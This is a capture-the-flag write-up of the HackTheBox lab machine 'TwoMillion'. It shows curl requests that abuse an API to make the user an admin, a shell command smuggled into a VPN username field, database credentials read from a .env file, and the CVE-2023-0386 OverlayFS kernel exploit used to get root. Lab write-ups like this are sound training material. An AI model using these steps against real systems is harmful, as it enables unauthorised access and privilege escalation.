This was a fun box and a great entry back into the world of HTB after a bit of a hiatus. Look out for a wild ride!
I don't do writeups that often, so please bear with me here. I'm trying to get into the groove of it again.
Enumeration
Starting with a port scan, of course, you get this:
$ nmap 10.10.11.221 -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 12:51 EST
Nmap scan report for 10.10.11.221
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only services open are SSH and HTTP that redirects to 2million.htb
.
HTTP Service
Let's see what's on 2million.htb:

It's HackTheBox!
First, you need to register! Let's try to join:

The Invite Code
Oh man. Well, it says we can hack our way in, so let's try!
function verifyInviteCode(code)
{
var formData=
{
"code":code
};
$.ajax(
{
type:"POST",dataType:"json",data:formData,url:'/api/v1/invite/verify',success:function(response)
{
console.log(response)
}
,error:function(response)
{
console.log(response)
}
}
)
}
function makeInviteCode()
{
$.ajax(
{
type:"POST",dataType:"json",url:'/api/v1/invite/how/to/generate',success:function(response)
{
console.log(response)
}
,error:function(response)
{
console.log(response)
}
}
)
}
We see the verify endpoint, but also a POST to /api/v1/invite/how/to/generate
. Let's try it:
$ curl http://2million.htb/api/v1/invite/how/to/generate -X POST
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
We can ROT13 it, but I have a safe guess that it's /api/v1/invite/generate
:
$ curl http://2million.htb/api/v1/invite/generate -X POST
{"0":200,"success":1,"data":{"code":"SjQ3SFItRTBVVkYtODY2TDktMzZIWTE=","format":"encoded"}}
Then, decode that Base64 and you have an invite code:
$ echo SjQ3SFItRTBVVkYtODY2TDktMzZIWTE= | base64 -d
J47HR-E0UVF-866L9-36HY1
Then, you can register as normal.
API Enumeration
I poked around the /api/v1 we saw originally and found this at 2million.htb/api/v1
:
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Admins can generate VPNs for other users, but we aren't an admin.
Escalation
But, maybe we can become admin? Let's check out that user settings update endpoint:
$ curl "http://2million.htb/api/v1/admin/settings/update" -X PUT --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;"
{"status":"danger","message":"Invalid content type."}
$ curl "http://2million.htb/api/v1/admin/settings/update" -X PUT --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}
Alright, it's not giving any permission errors! Let's try to update ourselves:
$ curl "http://2million.htb/api/v1/admin/settings/update" -X PUT --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json" --data '{"email": "[email protected]", "admin": "1"}'
{"status":"danger","message":"Missing parameter: is_admin"} $ $ curl "http://2million.htb/api/v1/admin/settings/update" -X PUT --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json" --data '{"email": "[email protected]", "is_admin": "1"}'
{"status":"danger","message":"Variable is_admin needs to be either 0 or 1."}
$ curl "http://2million.htb/api/v1/admin/settings/update" -X PUT --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json" --data '{"email": "[email protected]", "is_admin": 1}'
{"id":14,"username":"admin","is_admin":1}
With a bit of trial and error, we've made ourselves admin!

The VPN Endpoint
Now, let's check out that VPN endpoint again:
$ curl "http://2million.htb/api/v1/admin/vpn/generate" --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json" --data "{\"username\":\"Bbbbbb\"}"
...
client
dev tun
...
Seems even total nonsense is generating an OpenVPN file. This means that it doesn't do any database queries on the username.
My first thought was to try command injection here, as maybe it was being passed to a shell script:
$ curl "http://2million.htb/api/v1/admin/vpn/generate" -X POST --header "Cookie: PHPSESSID=cpvaktb6v8vtcbjq988g2t84hm;" --header "Content-Type: application/json" --data "{\"username\":\";ls;b\"}" -v
...
Database.php
Router.php
VPN
assets
controllers
css
fonts
images
index.php
js
views
Well, we now have code execution. From here, I enumerated:
whoami
- www-datacat Database.php
- no credscat index.php
- also no creds, but references a.env
file
Then, I hit .env
, which had credentials!
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Making sure this was the correct user, I checked /etc/passwd, and saw a user named admin
! So I SSH'd in with these credentials and grabbed the user flag.
Rooting the Box
After grabbing the user flag, I noticed something:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
...
You have mail.
Last login: Tue Jun 6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
We have mail! Let's check it out:
$ cat /var/spool/mail/admin
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Kernel CVE, huh? And it mentions a particular one: OverlayFS/FUSE.
The OverlayFS Exploit
I Googled for that, and found CVE-2023-0386. I tried the original PoC, and after using trusty Google Translate to translate the Chinese in the original GitHub repo, I compiled the three executables (after installing some headers libfuse-dev
and libcap-dev
, of course), copied them over, and followed the steps:
Run ./fuse ./ovlcap/lower ./gc
in one terminal:
admin@2million:~$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ef0
mkdir: File exists
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
./exp
in the other:
admin@2million:~$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Dec 10 18:32 .
drwxrwxr-x 6 root root 4096 Dec 10 18:32 ..
-rwsrwxrwx 1 nobody nogroup 16112 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~# whoami
root
And we win!
Conclusion
I know I'm kinda late to the party here. However, I'm really just getting back into HackTheBox. I hope to get back into the swing of things and start doing more writeups and more on HTB in general. Although, I'm relying on the free machines right now, as I don't have the funds to purchase a Pro subscription to HTB right now.
But as for the box itself, this was really fun. Enumerating and exploiting the API was probably my favorite part of this box. Digging through the JavaScript, the various security flaws that led from invite generation to privilege escalation to command injection, and so on were all very interesting to me.
The privilege escalation was a pretty standard CVE exploit, but it's good to hammer in those kinds of exploits. Sometimes the "wins" in cybersecurity are just as easy as a CVE or a simple misconfiguration. Not to mention, in prominent certifications such as the OSCP, CVEs and public exploits are often prevalent, at least when initially compromising the machines.